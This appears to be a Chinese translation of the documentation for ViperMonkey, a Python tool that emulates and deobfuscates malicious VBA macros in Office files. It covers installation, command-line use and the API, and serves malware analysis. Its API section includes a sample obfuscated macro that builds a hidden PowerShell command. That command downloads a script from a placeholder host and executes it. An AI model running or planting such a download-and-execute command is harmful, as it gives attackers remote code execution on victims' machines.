工具源码

恶意文档分析工具 ViperMonkey 使用说明

zeronohacker · 9月9日 · 2020年 · · 197次已读

本文为 ViperMonkey 的中文版,原文链接:https://github.com/decalage2/ViperMonkey/

1 介绍

ViperMonkey 是一个用 Python 写的 VBA 仿真模拟引擎,用来分析和反混淆 MS Office 文件 (Word,Excel,PowerPoint,Publisher 等等) 中包含的恶意宏代码,你可以查看 这篇文章,一个用 vipermonkey 分析的真实案例。在 2019 年欧洲黑帽大会会议上 ViperMonkey 被拿来做过演示 –> 演讲 PPT 下载YouTube 视频

ViperMonkey 项目由 Philippe Lagadec 在 2015-2016 年创建,该项目保存在 https://github.com/decalage2/ViperMonkey 中。自 2017 年 11 月以来,大部分开发工作由 Kirk Sayre 和其他贡献者在存储库 https://github.com/kirk-sayre-work/ViperMonkey 中完成。主存储库会定期进行同步,但是最新的改进通常是在 Kirk 的版本中。

2 免责声明

  • ViperMonkey 是分析恶意文档的实验性 VBA 引擎,它适用于部分恶意文档并非全部
  • 目前,VBA 仿真模拟引擎的解析速度非常慢 (有关如何提高速度的信息,请参见加速部分)
  • VBA 仿真模拟非常复杂和困难,因为 VBA 会调用所有可能出现的 DLL 和 ActiveX 对象
  • 这个开源项目只是在我的业余时间进行开发,所以不要期待奇迹,如果你愿意提供帮助,我将不胜感激

3 更新日志

v0.06 (2018-03-22)
1、添加新特性和 bug 修复 by Kirk Sayre

2018-03
1、增加了对解析一些无效的 VBA 语句的支持
2、其他解析修复
3、增加了对在非标准函数上启动仿真模拟的支持

2018-02
1、增加对 Environ、IIf、Base64DecodeString、CLng、Close、Put、Run、InStrRev、LCase、RTrim、LTrim、AscW、AscBCurDir 的支持

2018-01
1、增加对在模拟运行中释放文件的支持
2、增加对 For Each loops 的支持
3、增加对 While Wend loops 的支持
4、能够处理 Exit Do

v0.05 (2018-01-12)
1、添加新特性和 bug 修复 by Kirk Sayre

2017-12-15
1、增加对 SelectDo Loops 的支持
2、增加对 End Sub 和 返回 0 个参数语句的支持
3、增加对 #if 结构的支持
4、每个 VBA 流都在一个单独的线程中进行解析

2017-11-28
1、增加对 Private 类型声明的解析支持
2、在最终报告中记录 CreateProcessA 的调用
3、处理本地定义的 Application.Run()

2017-11-23
1、增加对 Abs、Fix、Hex、String、CByte、Atn、Dir、RGB、Log、Cos、Exp、Sin、StrVal 的支持
2、增加对 Exit Function 的支持
3、更改了数学运算符,使其也能处理整数的字符串表示
4、在循环上添加了可配置的迭代限制

2017-11-14
1、增加对 InStr、Replace、Sgn、Sqr、UBound、LBound、Trim、StrConv、Split、StrReverseInt 函数的支持
2、增加对字符串特征标注的支持
3、增加对负整数的支持
4、增加对 if-than-else 语句的支持
5、增加了对声明的常量和全局变量初始值的支持
6、处理布尔表达式当中变量赋值问题

2017-11-03
1、增加对 Left()、Right()、Array()BuiltInDocumentProperties() 的支持
2、增加对全局变量的支持
3、修复一些解析 bug
4、增加对 AutoClose() 的支持

v0.02 (2016-09-26)
1、第一个推出的版本

v0.01 (2015-02-28)
1、第一个开发版本

4 下载和安装

出于性能原因,强烈建议使用 PyPy (快 5 倍),但是如果你不能使用 PyPy,也可以使用普通的 Python 解释器 (CPython) 运行 ViperMonkey。

4.1 使用 PyPy 安装 (推荐)

  • 如果你的系统没有安装 PyPy,可在 http://pypy.org/download.html 上下载 PyPy2.7 (不是 3.x)
  • 使用 pypy 检查 pip 是否已安装,运行 pypy -m pip
  • 如果 pip 也没安装,windows 下运行 pypy -m ensurepip,Linux/Mac 下运行 sudo -H pypy -m ensurepip
  • 确保 pip 为最新版本,运行 pypy -m pip install -U pip
  • 下载 ViperMonkey 文件: https://github.com/decalage2/ViperMonkey/archive/master.zip
  • 将下载下来的解压到一个文件夹内,然后进入该文件内打开 shell/cmd
  • 如果是在 ubuntu 下,需安装 pypy-dev,运行 sudo apt-get install pypy-dev
  • 安装依赖,windows 下运行 pypy -m pip install -U -r requirements.txt,Linux/Mac 下运行 sudo -H pypy -m pip install -U -r requirements.txt
  • 检查下 ViperMonkey 运行是否会出错,运行 pypy vmonkey.py

4.2 使用 CPython 安装

  • 请确保你安装了最新的 Python2.7 版本 https://www.python.org/downloads/
  • 如果你同时安装了 Python2 和 Python3 版本,在下面的命令中请使用 pip2 替代 pip
  • 确保 pip 更新至最新版本,运行 pip install -U pip
  • 使用 pip 下载 ViperMonkey 以及所需的依赖

On Windows

pip install -U https://github.com/decalage2/ViperMonkey/archive/master.zip

On Linux/Mac

sudo -H pip install -U https://github.com/decalage2/ViperMonkey/archive/master.zip
  • 最后检测运行 ViperMonkey 是否会出错,在任意目录下打开 shell/cmd,简单运行 vmonkey 即可

5 使用方法

解析文档中的 VBA 宏

vmonkey <file>

如果你要加快分析速度 (请参见加速部分),可以这样做

pypy vmonkey.py -s <file>

如果嫌输出太慢和太冗长,可以使用 -l 选项降低日志记录级别

vmonkey -l warning <file>

5.1 oletools 版本

ViperMonkey 需要 oletools 的最新版本,至少 v0.52.3,有几种方式来安装 oletools

  • 通过运行 pip install -U oletools 安装最新的 oletools 版本
  • 按照 此处 所述那样,使用 pip 安装 oletools 的最新开发版本

5.2 如何加速

pypy

ViperMonkey 使用默认的解析库可能需要很长时间才能解析某些样本,通过使用 pypy 而不是常规的 Python 解释器运行 ViperMonkey,可以大大加快 ViperMonkey 的运行速度 (能快 5 倍左右)。 要使用 pypy,请执行以下操作

去除无用的语句

ViperMonkey 命令行选项 -s 告诉 ViperMonkey 在解析和仿真模拟之前从 Visual Basic 宏代码中删除无用的语句。对于某些恶意文档,这可以大大加快分析速度。

模拟文件写入

ViperMonkey 模拟文件写入行为,ViperMonkey 分析结果中报告了释放文件的 SHA256 哈希值,实际释放的文件保存在目录 MALDOC_artifacts/ 中,其中 MALDOC 是分析的恶意文件名称。

模拟特定的 VBA 函数

默认情况下,ViperMonkey 从标准宏自动运行函数 (如 AutoOpen,Document_Open,Document_Close 等) 开始模拟行为。在某些情况下,你可能希望从非标准自动运行函数开始模拟行为,可通过 -i 命令行选项支持此功能。要从 Foo 函数开始模拟行为,请使用命令行选项 -i Foo。要模拟从多个非标准入口点开始的行为,请使用命令行选项 -i "Foo,Bar,Baz" (请注意,入口点函数名称以逗号分隔,并且必须用双引号引起来)。

6 API 接口

ViperMonkey 还包含 API 接口,可用于对示例进行更精细的控制仿真模拟或可以将其集成到现有项目中。API 允许你遍历和仿真模拟 VBA 代码的某些部分,并采用按需解析的方法来提高速度。

6.1 直接 VBA 仿真模拟

模拟某些代码的最简单方法是使用 vipermonkey.eval() 函数,这将解析并模拟每行,并返回最后一行的结果。

import vipermonkey

print vipermonkey.eval('"w" & Chr(111) & "rl" & Chr(123 Xor 31)')

vba_code = '''
Dim m1, m2, m3 As String
m1 = "he" & "ll" & Chr(111) & " "
m2 = "w" & Chr(111) & "rl" & Chr(123 Xor 31)
m3 = "!!!"
m1 & m2 & m3
'''

print vipermonkey.eval(vba_code)

输出结果

world
hello world!!!

如果代码在最后一行没有返回任何内容,或者你想检查其他变量,可以提供一个 Context 对象,Context 对象用于保存所有局部/全局变量,创建的文件对象以及执行的唯一操作 (稍后会详细介绍)。

import vipermonkey

vba_code = '''
Dim m1, m2, m3, result As String
m1 = "he" & "ll" & Chr(111) & " "
m2 = "w" & Chr(111) & "rl" & Chr(123 Xor 31)
m3 = "!!!"
result = m1 & m2 & m3
'''

context = vipermonkey.Context()
vipermonkey.eval(vba_code, context=context)

print context.locals
print context['result']  # same as context.locals['result']

输出结果

{'m1': 'hello ', 'result': 'hello world!!!', 'm3': '!!!', 'm2': 'world'}
hello world!!!

6.2 检查 VBA 代码

解析源代码是一项艰巨的任务,在不需要触发其解析的内容下,ViperMonkey 可以通过使用 Module 对象来检查模块中的函数和子例程。对于模块类型的对象,你可以使用 .procedures.functions.subs.entry_points 属性去访问 VBA 函数,同样可在不需要触发其解析的内容下确定函数名称。.procedures.function.subs 的组合,.entry_points 提供了在一个模块中包含函数的列表,这些函数为在 MS Office 中经常被触发 (例如 Document_Open)。

import vipermonkey

vba_code = '''
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"

Sub Document_Open()
    On Error Resume Next
    Dim message As String
    message = PrintHello("Jamie")
    MsgBox message
End Sub

Function PrintHello(person As String) As String
    Dim m1 As String
    m1 = "he" & "ll" & Chr(111) & " "
    PrintHello = m1 & person
End Function
'''

module = vipermonkey.Module(vba_code)

print 'FUNCTIONS and SUBS: '
for func in module.procedures:
    print func.name

输出结果

FUNCTIONS and SUBS: 
Document_Open
PrintHello

6.3 Code Blocks

Module 对象是 CodeBlock 对象的一种类型,code block 是作为单元工作的任何逻辑 code block (例如,函数,子例程,循环,单行代码等)。每个 CodeBlock 对象中可以嵌入 0 个或多个 code blocks,可以使用 .code_blocks 属性对其进行迭代。

提示:从技术上讲,CodeBlock 是 VBA_Object 类的封装,因此它可以提供按需获取检索已解析属性的方法。因此,code block 和 object 将互换使用。

  • Module 对象是顶级 code block
  • 每个 code block 都有基于类型的不同属性 (可以使用 .type 属性确定)
  • 可以使用 str() 访问给定 code block 的原始代码
for code_block in module.code_blocks:
    print "TYPE: ", code_block.type
    print "CODE:\n", str(code_block)
    if code_block.type == vipermonkey.Function:
        print "Found a function: {}({})".format(
            code_block.name, ', '.join(p.name for p in code_block.params))

输出结果

TYPE:  <class 'vipermonkey.core.statements.Attribute_Statement'>
CODE:
Attribute VB_Name = "ThisDocument"

TYPE:  <class 'vipermonkey.core.statements.Attribute_Statement'>
CODE:
Attribute VB_Base = "1Normal.ThisDocument"

TYPE:  <class 'vipermonkey.core.procedures.Sub'>
CODE:
Sub Document_Open()
    On Error Resume Next
    Dim message As String
    message = PrintHello("Jamie")
    MsgBox message
End Sub

TYPE:  <class 'vipermonkey.core.procedures.Function'>
CODE:
Function PrintHello(person As String) As String
    Dim m1 As String
    m1 = "he" & "ll" & Chr(111) & " "
    PrintHello = m1 & person
End Function

Found a function: PrintHello(person)

提示:没有解析函数中的任何代码,目的是提供按需解析,以加快处理速度。要解析一个函数,你需要检索该函数的 code block,然后对其内部的 code block 进行迭代。

for code_block in module.code_blocks:
    if code_block.type == vipermonkey.Function:
        for inner_code_block in code_block.code_blocks:
            print "TYPE: ", inner_code_block.type
            print "CODE:\n", str(inner_code_block)

输出结果

TYPE:  <class 'vipermonkey.core.statements.Dim_Statement'>
CODE:
    Dim m1 As String

TYPE:  <class 'vipermonkey.core.statements.Let_Statement'>
CODE:
    m1 = "he" & "ll" & Chr(111) & " "

TYPE:  <class 'vipermonkey.core.statements.Let_Statement'>
CODE:
    PrintHello = m1 & person

6.4 评估 Code Blocks

可以使用 eval() 或 load_context() 函数来评估各个 code block,这些函数接受 Context 对象作为参数,在评估时,将以递归方式评估所有嵌入的 code block。eval() 会运行一个正确范围内的 code block,并在适当的情况下返回结果。会对提供的 context 产生影响,为 eval() 提供上下文是可选的。例如,你可以遍历模块的 code block 以找到 PrintHello 函数,然后使用自己的参数对其进行评估

for code_block in module.code_blocks:
    if code_block.type == vipermonkey.Function and code_block.name == 'PrintHello':
        print code_block.eval(params=['Bob'])

输出结果

hello Bob

load_context() 直接在给定 context 的范围内评估 code block 的内容,这样你就可以在之后去检查 context。

load_context() 等效于分别评估每个 sub code block

for sub_code_block in code_block.code_blocks:
   sub_code_block.eval(context=context)

在 Module 对象上使用此函数时,声明 Functions 和 Subs 时不会评估其外部的行。

使用上面已经声明的模块

context = vipermonkey.Context()
module.load_context(context)

print vipermonkey.eval('PrintHello("Bob")', context=context)

输出结果

hello Bob

6.5 通用 CodeBlock 和 VBA_Object 类型

以下是你将遇到的一些常见 CodeBlock 或 VBA_Object 类型的列表

模块

顶层 Code blocks,包含所有全局变量和函数/子模块

  • .functions – Functions 中的 Code blocks
  • .sub - Subs 中的 Code blocks (这些与 function 相同,但不返回任何内容)
  • .procedures – Functions 和 Subs 中的 Code blocks
  • .entry_points – 作为宏入口点 (Document_Open, AutoOpen 等等) 的 Functions/Subs
  • .global_vars – 在模块中找到全局变量字典以及它们的值
  • .attribute – 包含宏属性值的字典

Function/Sub

  • .name – Function 或 Sub 的名称
  • .param – 参数对象的列表
  • .return_type - function 返回的变量类型 (只针对 Function)

Call_Statement/Function_Call

调用给定的函数,可以在自己的行 (Call_Statement) 或另外行上的部分找到

PrintHello("Bob")
Shell "powershell.exe ..."
  • .name – 所调用函数的名称或对象
  • .params – 传递给函数的参数列表 (参数可以是字符串或其他对象)

Global_Var_Statement

变量的声明

foo = 'bar'
  • .name – 要设置的变量名称 (可以是诸如 MemberAccessExpression 之类的对象)
  • .value – 值设置为变量 (可以是对象)

Let_Statement

分配非对象值 (Let 关键字本身是可选的,可以省略)

Let PrintHello = m1 & person
  • .name – 变量名
  • .expression – 要设置的变量的值
  • .index – 变量的索引 ,可选的

MemberAccessExpression

表示访问对象属性或函数的表达式

ThisDocument.Tables(1).Cell(1, 1).Range.Text
  • .lhs – 第一个成员对象 (ThisDocument)
  • .rhs – 其余成员的列表 ([Tables('1'), Cell('1, 1'), 'Range', 'Text'])

6.6 提取释放的文件

Context 对象将跟踪创建的文件,使用 opened_filesclosed_files 可实现

import vipermonkey

vba_code = r'''

Sub WriteFile(data As String)
    Dim a, b, c As String
    a = "Scr"
    b = "ipting" & Chr(46) & "FileSy"
    c = "st" & Chr(69) & "mObject"
    Dim fso As Object
    Set fso = CreateObject(a & b & c)
    Dim Fileout As Object
    Dim url As String
    url = "c:\users\public\" & "documents\hello.txt"
    Set Fileout = fso.CreateTextFile(url, True, True)
    Fileout.Write data
    Fileout.Close
End Sub

WriteFile("This " & "is some" & " file data!")
'''

context = vipermonkey.Context()
vipermonkey.eval(vba_code, context=context)

print context.closed_files

输出结果

{'c:\\users\\public\\documents\\hello.txt': 'This is some file data!'}

6.7 替代函数

Python 实现的一些函数可替代 Function 或 Sub,这有助于加快已知函数的解析速度,或替代由于复杂性而最有可能失败的函数。若要替代函数,请使用接受两个参数 (contextparams) 的函数,用返回的结果来更新 Context 对象的全局字典值。

import base64
import vipermonkey

vba_code = r'''
Public Function Base64Decode(ByVal s As String) As Byte()
    ' Some complex code
End Function

Public Sub Document_Open()
    Dim result As String
    result = Base64Decode("aGVsbG8gd29ybGQh")
Enc Sub
'''

def replaced_base64(context, params):
    return base64.b64decode(params[0])

context = vipermonkey.Context()
module = vipermonkey.Module(vba_code)
# NOTE: The function should be replaced after the context is evaluated by the module. Otherwise the module will replace your function.
module.load_context(context)

context.globals['Base64Decode'] = replaced_base64

document_open = context['Document_Open']
document_open.load_context(context)
print "DECODED DATA: ", context['result']

输出结果

DECODED DATA:  hello world!

提示:由于 Base64 的替代函数非常普遍,因此已经为你实现了此函数,可以使用 vipermonkey.Base64DecodeString

6.8 记录行为

在仿真模拟过程中,ViperMonkey 记录了独特而有趣的行为,这些行为会对外部系统产生影响 (例如,释放的文件,命令执行和 HTTP 请求)。可以从 Context 对象的 .actions 属性进行这些操作。

import vipermonkey

vba_code = r'''
Public Function Execute() As Variant

Dim m1, m2, m3, m4 As String

m1 = "p" & "o" & "w" & "e" & "r" & "s" & "h" & "e" & "l" & "l" & " " & "-" & "w" & " " & "h" & "i" & "d" & "d" & "e"
m2 = "n" & " -" & "e" & "x" & "e" & "c" & " b" & "y" & "p" & "a" & "s" & "s " & "-" & "c " & Chr(34)
m3 = "$a" & "=" & "Invoke" & "-" & "We" & "bRequest" & " ww" & "w.example.com" & "/" & "scr" & "ipt.txt"
m4 = "; " & "Inv" & "ok" & "e-Expr" & "ession " & "$" & "a" & Chr(34) & ""

Shell m1 & m2 & m3 & m4, vbHide

WinExec "wscript powershell.exe -x run.ps1", 0

End Function

Execute
'''

context = vipermonkey.Context()
vipermonkey.eval(vba_code, context=context)

for description, actions in context.actions.iteritems():
    print description, '===='
    for action in actions:
        print action

输出结果

Shell function ====
('Execute Command', 'powershell -w hidden -exec bypass -c "$a=Invoke-WebRequest www.example.com/script.txt; Invoke-Expression $a"')
Interesting Function Call ====
('WinExec', ['wscript powershell.exe -x run.ps1', 0])
Interesting Command Execution ====
('Run', 'wscript powershell.exe -x run.ps1')

您也可以在 Context 对象中提供自己的回调函数以记录行为

def report_shell(action, params=None, description=None):
    if action == 'Execute Command':
        print "FOUND A COMMAND: ", params

context = vipermonkey.Context(report_action=report_shell)
vipermonkey.eval(vba_code, context=context)

输出结果

FOUND A COMMAND:  powershell -w hidden -exec bypass -c "$a=Invoke-WebRequest www.example.com/script.txt; Invoke-Expression $a"

6.9 提高速度

当使用到一个属性 (.type.name.params 等) 或调用 eval() 时会对 CodeBlock 对象进行解析。但是,调用 str() 不会触发解析,你可以利用这一点来跳过多余的行或可用行,从而加快处理速度。

import re
import vipermonkey

vba_code = '''
Dim SHxPqkwrGNbtKCbuMMuOwkEnjTCFyQYVofmDhUQO As String
Dim HInhBKXjdKldXUzKfBJGXAlBvSvqyiFkewQMeKCj As String
Dim pRFxhIaLPubbdOiMdqXdORFsxSLGEoyqXCaKHNtT As String
Dim uKWKPzXumrqVToeYfOEBgPSGrPxQuHjXJJDWgfTU As String
Dim mIJOHatpQXHVoIHwnThJcipbyvwvJqJeGduHDfgY As String

Dim m1, m2, m3 As String
m1 = "he" & "ll" & Chr(111) & " "
m2 = "w" & Chr(111) & "rl" & Chr(123 Xor 31)
m3 = "!!!"
result = m1 & 2 & m3
'''

context = vipermonkey.Context()
module = vipermonkey.Module(vba_code)

for code_block in module.code_blocks:
    # Skip parsing the large number of unnecessary variable declarations.
    if re.match('Dim [A-Za-z]{40} As String', str(code_block)):
        continue
    code_block.eval(context)

print context['result']

输出结果

hello world!!!

6.10 去混淆

ViperMonkey 包含一个去混淆实用程序,可在仿真模拟之前帮助清理代码。这可以极大地帮助加快解析速度,若要使用,请在解析/模拟之前使用 deobfuscate() 函数。

import vipermonkey

vba_code = '''
ZOOP = Chr(123 Xor 11)
ZOOP = ZOOP & Chr(122 Xor 14)
ZOOP = ZOOP & Chr(109 Xor 4)
ZOOP = ZOOP & Chr(99 Xor 13)
ZOOP = ZOOP & Chr(97 Xor 6) & Chr(34 Xor 12) & Chr(67 Xor 5) & Chr(109 Xor 4)
ZOOP = ZOOP & Chr(109 Xor 1) + Chr(69) + Chr(81 Xor 2)
ZOOP = ZOOP & Chr(107 Xor 18)
'''

print vipermonkey.deobfuscate(vba_code)

输出结果

ZOOP = "pting.FilESy"

除了上述这种方法外,你也可以通过在 vipermonkey.eval()vipermonkey.Module() 中设置 deobfuscate 关键字参数来触发去混淆

vipermonkey.eval(vba_code, deobfuscate=True)

module = vipermonkey.Module(vba_code, deobfuscate=True)

7 结语

以上你都会了吗?

(本文完)

0 条回应

必须 注册 为本站用户, 登录 后才可以发表评论!